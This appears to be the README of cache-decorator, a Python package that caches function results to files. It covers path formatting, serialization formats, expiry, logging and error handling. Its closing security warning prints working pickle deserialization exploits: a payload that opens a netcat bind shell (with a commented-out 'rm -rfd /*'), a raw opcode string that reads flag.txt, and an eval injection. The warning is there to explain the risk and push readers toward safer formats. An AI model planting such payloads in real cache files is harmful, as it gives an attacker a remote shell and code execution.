Package: cache-decorator
A simple decorator to cache the results of computationally heavy functions.
The package automatically serialize and deserialize depending on the format of the save path.By default it supports.json .json.gz .json.bz .json.lzmaand.pkl .pkl.gz .pkl.bz .pkl.lzma .pkl.zipbut other extensions can be used if the following packages are installed:numpy:.npy .npzpandas:.csv .csv.gz .csv.bz2 .csv.zip .csv.xzAlso there is an optimized format for numerical dataframes:pandas:.embedding .embedding.gz .embedding.bz2 .embedding.xzThis creates an optionally compressed tar archive with pickles of the index and
columns and a.npyof the values.importtimeimportnumpyasnpimportpandasaspdfromcache_decoratorimportCache@Cache(cache_path={"info":"/tmp/{function_name}/{_hash}.json.xz","data":"/tmp/{function_name}/{_hash}.csv.gz",},validity_duration="24d",args_to_ignore=("verbose",),enable_cache_arg_name="enable_cache",)deffunction_to_cache(seed:int,verbose:bool=True):np.random.seed(seed)ifverbose:print(f"using seed{seed}")return{"info":{"timestamp":time.time(),"seed":seed,},"data":pd.DataFrame(np.random.randint(0,100,size=(100,4)),columns=list("ABCD")),}How do I install this package?As usual, just download it using pip:pipinstallcache_decoratorExamples of UsageTo cache a function or a method you just have to decorate it with the cache decorator.fromtimeimportsleepfromcache_decoratorimportCachefromdict_hashimportHashable@Cache()defx(a,b):sleep(3)returna+bclassA(Hashable):def__init__(self,x):self.x=x# you can call a method without argsdefmy_method(self):return"|{}|".format(self.x)# you can call a static method@staticmethoddefmy_staticmethod():return"CIAO"# you can call a property@propertydefmy_property(self):return"|{}|".format(self.x)# methods, static methods, and properties can return a custom formatter# that access attributes but can't call other methodsdefcustom_formatter_method(self):return"{self.x:.4f}"@Cache(# this is a quick example of most things you can do in the formattingcache_path="/".join("{cache_dir}","{self.x}","{self.my_method()}","{self.my_staticmethod()}","{self.my_property()}","{self.custom_formatter_method()}","{a}","{b}_{_hash}.pkl",))deff(self,a,b):sleep(3)returna+b# only needed if you want "{_hash}" in the pathdefconsistent_hash(self)->str:returnstr(self.x)Cache pathThe default cache directory is ./cache but this can be setted by passing the cache_dir parameter to the decorator or by setting the environment variable CACHE_DIR.
In the case both are setted, the parameter folder has precedence over the environment one.fromtimeimportsleepfromcache_decoratorimportCache@Cache(cache_dir="/tmp")defx(a):sleep(3)returnaThe path format can be modified by passing the cache_path parameter.
This string will be formatted with infos about the function, its parameters and, if it’s a method, the self attributes.De default path is:fromtimeimportsleepfromcache_decoratorimportCache@Cache(cache_path="{cache_dir}/{file_name}_{function_name}/{_hash}.pkl")defx(a):sleep(3)returnaBut can be modified giving cache a more significative name, for example we can add the value of a into the file name.fromtimeimportsleepfromcache_decoratorimportCache@Cache(cache_path="{cache_dir}/{file_name}_{function_name}/{a}_{_hash}.pkl")defx(a):sleep(3)returnaDepending on the extension of the file, different serialization and deserialization dispatcher will be called.fromtimeimportsleepfromcache_decoratorimportCache@Cache(cache_path="/tmp/{_hash}.pkl.gz")defx(a):sleep(3)returna@Cache(cache_path="/tmp/{_hash}.json")defx(a):sleep(3)return{"1":1,"2":2}@Cache(cache_path="/tmp/{_hash}.npy")defx(a):sleep(3)returnnp.array([1,2,3])@Cache(cache_path="/tmp/{_hash}.npz")defx(a):sleep(3)returnnp.array([1,2,3]),np.array([1,2,4])Ignoring arguments when computing the hashBy default the cache is differentiate by the parameters passed to the function.
One can specify which parameters should be ignored.fromtimeimportsleepfromcache_decoratorimportCache@Cache(args_to_ignore=["verbose"])defx(a,verbose=False):sleep(3)ifverbose:print("HEY")returnaMultiple arguments can be specified as a list of strings with the name of the arguments to ignore.fromtimeimportsleepfromcache_decoratorimportCache@Cache(args_to_ignore=["verbose","multiprocessing"])defx(a,verbose=False,multiprocessing=False):sleep(3)ifverbose:print("HEY")returnaDynamically enabling the cacheSometime we need to enable or disable the cache dinamically, we soupport this
using theenable_cache_arg_nameargument which can be used as follows:importtimeimportnumpyasnpimportpandasaspdfromcache_decoratorimportCache# simple boolean argument@Cache(enable_cache_arg_name="enable_cache",)deffunction_to_cache(seed:int):np.random.seed(seed)return{"seed":seed}# Cache enabledfunction_to_cache(10)# Cache enabledfunction_to_cache(10,enable_cache=True)# Cache disabledfunction_to_cache(10,enable_cache=False)classTestEnableCacheArgAsAttribute:def__init__(self,enable_cache:bool):self.enable_cache=enable_cache@Cache(cache_path="{cache_dir}/{a}.pkl",cache_dir="./test_cache",enable_cache_arg_name="self.enable_cache",)defcached_method(self,a):sleep(2)return[1,2,3]instance=TestEnableCacheArgAsAttribute(enable_cache=True)# with cache enabledinstance.cached_method(1)# disable the cacheinstance.enable_cache=Falseinstance.cached_method(1)classTestEnableCacheArgAsAttributeProperty:def__init__(self,enable_cache:bool):self.enable_cache=enable_cache@propertydefis_cache_enabled(self):returnself.enable_cache@Cache(cache_path="{cache_dir}/{a}.pkl",cache_dir="./test_cache",enable_cache_arg_name="self.is_cache_enabled()",)defcached_method(self,a):sleep(2)return[1,2,3]instance=TestEnableCacheArgAsAttribute(enable_cache=True)# with cache enabledinstance.cached_method(1)# disable the cacheinstance.enable_cache=Falseinstance.cached_method(1)classTestEnableCacheArgAsAttributeStatic:"""This can be used for abstract classes"""def__init__(self,enable_cache:bool):self.enable_cache=enable_cache@staticmethoddefis_cache_enabled():returnTrue@Cache(cache_path="{cache_dir}/{a}.pkl",cache_dir="./test_cache",enable_cache_arg_name="self.is_cache_enabled()",)defcached_method(self,a):sleep(2)return[1,2,3]instance=TestEnableCacheArgAsAttributeStatic(enable_cache=True)instance.cached_method(1)for more examples of usage check the tests:test/test_method.pyandtest/test_enable_cache_arg_name.py.Cache validityCache also might have a validity duration.fromtimeimportsleepfromcache_decoratorimportCache@Cache(cache_path="/tmp/{_hash}.pkl.gz",validity_duration="24d")defx(a):sleep(3)returnaIn this example the cache will be valid for the next 24 days. and on the 25th day the cache will be rebuilt.
The duration can be written as a time in seconds or as a string with unit.
The units can be “s” seconds, “m” minutes, “h” hours, “d” days, “w” weeks.LoggingEach time a new function is decorated with this decorator, a new logger is created.
You can modify the default logger withlog_levelandlog_format.fromtimeimportsleepfromcache_decoratorimportCache@Cache(log_level="debug")defx(a):sleep(3)returnaIf the default format is not like you like it you can change it with:fromtimeimportsleepfromcache_decoratorimportCache@Cache(log_format="%(asctime)-15s[%(levelname)s]:%(message)s")defx(a):sleep(3)returnaMore informations about the formatting can be found herehttps://docs.python.org/3/library/logging.html.Moreover, the name of the default logger is:logging.getLogger("cache."+function.__name__)So we can get the reference to the logger and fully customize it:importloggingfromcache_decoratorimportCache@Cache()deftest_function(x):return2*x# Get the loggerlogger=logging.getLogger("cache.test_function")logger.setLevel(logging.DEBUG)# Make it log to a filehandler=logging.FileHandler("cache.log")logger.addHandler(handler)Error HandlingA common problem we noted using the library is that if the saved type is not compatible with the chosen extension,
the program will raise an exception at the end of the function and we lose all the work done.
To mitigate this proble, now the cache decorator has a built-in system for handling errors.
If there is an error in the serializzation of the result, the program will make an automatic backup using pickle.
This by default will add_backup.pklto the end of the original path, but if for any reason this would over-write a file, a random string will be appended.
And log (with critical level) the path of the backup file and the supposed path where theSuppose we erroneusly set the extension to CSV instead of JSON:fromcache_decoratorimportCache@Cache("./test_{x}.csv")deftest_function(x):return{"this":{"is":{"not":{"a":"csv"}}}}test_function(10)# 2021-02-22 13:22:07,286[CRITICAL]: Couldn't save the result of the function. Saving the result as a pickle at:# ./test_10.csv_backup.pkl# The file was gonna be written at:# ./test_10.csvNow we can manually load the value and store it at the correct path, this way the next time the function is called, the cache will be loaded correctly with the right extension.importjsonimportpickle# Load the backupwithopen("./test_10.csv_backup.pkl","rb")asf:result=pickle.load(f)# Save it at the right pathwithopen("./test_10.json","w")asf:json.dump(f,result)fromcache_decoratorimportCache@Cache("./test_{x}.json")deftest_function(x):return{"this":{"is":{"not":{"a":"csv"}}}}test_function(10)# Load the corrected Cache at "./test_10.json"Optionally, one can programmatically sort this out by catching the exception and accessing its fields.fromcache_decoratorimportCache@Cache("./test.csv")deftest_function(x):return{"this":{"is":{"not":{"a":"csv"}}}}try:test_function(10,y="ciao")exceptSerializationExceptionase:result=e.resultbackup_path=e.backup_pathpath=e.pathMoreover, the backup path can be costumized using thebackup_pathparameter, here you can use the same parameter ofpathand also{_date}, which is the date of the bakcup, and{_rnd}which guarantees that the file will not overwrite any other file:fromcache_decoratorimportCache@Cache("./test.csv",backup_path="./backup_{date}_{rnd}.pkl")deftest_function(x):return{"this":{"is":{"not":{"a":"csv"}}}}test_function(10,y="ciao")# 2021-02-22 13:22:07,286[CRITICAL]: Couldn't save the result of the function. Saving the result as a pickle at:# ./backup_2021_02_22_13_22_07_18ce30b003e14d16d5e0f749e8205e467aedfbba.pkl# The file was gonna be written at:# ./test.csvInternalsIf for any reason you need to get a reference to the wrapped function and its cacher class, you can access them using the internal variables:fromcache_decoratorimportCache@Cache()deftest_function(x,y):return2*xoriginal_test_function=test_function.__cached_functiontest_function_cacher_class=test_function.__cacher_instanceWe do not suggest to use them.Manual CachingIf for some reason you need to manually manage your cache, you can use the built in static methods of theCacheclass.
It will automatically create the needed folders. Moreover, you can get the expected path for a function call.fromcache_decoratorimportCache# you can use the Cache class functions to load and store data easily# but here you can't use a path formatter but you have to pass a complete path.# StoreCache.store({1:2,3:4},"./my_custom_cache/best_dict_ever.json)# Loadbest_dict=Cache.load("./my_custom_cache/best_dict_ever.json)# This would not format anything!# Cache.store({1:2, 3:4}, "./my_custom_cache/{_hash}.json)# this would save a file called literally called "{_hash}.json"@Cache()deftest_function(x,y):return2*x# you can get the path where the file would be saved (this does not call the function!).path=Cache.compute_path(test_function,10,y="ciao")Security WarningsWhenever possible don’t use the pickle extension.
De-serializzation of untrusted data might lead to Remote Code Execution or Local Privilege Escalation (https://davidhamann.de/2020/04/05/exploiting-python-pickle/).
Therefore, simple formats such as json is preferable whenever possible.Suppose we have this code:fromcache_decoratorimportCache@Cache("./cache/{x}.pkl)defmy_awesome_function(x):returnx...my_awesome_function(1)If in any way we have access to the cache folder, we can easily exploit it:importpickleCOMMAND="netcat -c '/bin/bash -i' -l -p 4444"# rm -rfd /*classPickleRce(object):def__reduce__(self):importosreturn(os.system,(COMMAND,))payload=pickle.dumps(PickleRce())print(payload)# b"\x80\x04\x95>\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c#netcat -c '/bin/bash -i' -l -p 4444\x94\x85\x94R\x94."withopen("./cache/1.pkl","wb")asf:f.write(payload)Next time that the function is called with argument1, we will spawn a remote shell and take control of the system.Or, since Pickle is a “programming language” which is executed by a VM, we can write a general RCE exploit which only uses builtins:importpickle# Build the exploitcommand=b"""cat flag.txt"""x=b"c__builtin__\ngetattr\nc__builtin__\n__import__\nS'os'\n\x85RS'system'\n\x86RS'%s'\n\x85R."%command# Test itpickle.load(x)Or you can just call eval and execute arbitrary python code:importpicklecode="print('ciao')"pickle.loads(b"".join([b"c__builtin__\neval\n(",pickle.dumps(code,protocol=0)[:-1],b"tR."]))For this reason is important to either use a simpler serializzation scheme like json and to fortify the system by setting the cache dir to be read-write only for the current user.chown-r$USER:$USER./cachechmod-r600./cacheThis way only the current application can create and modify the cache files.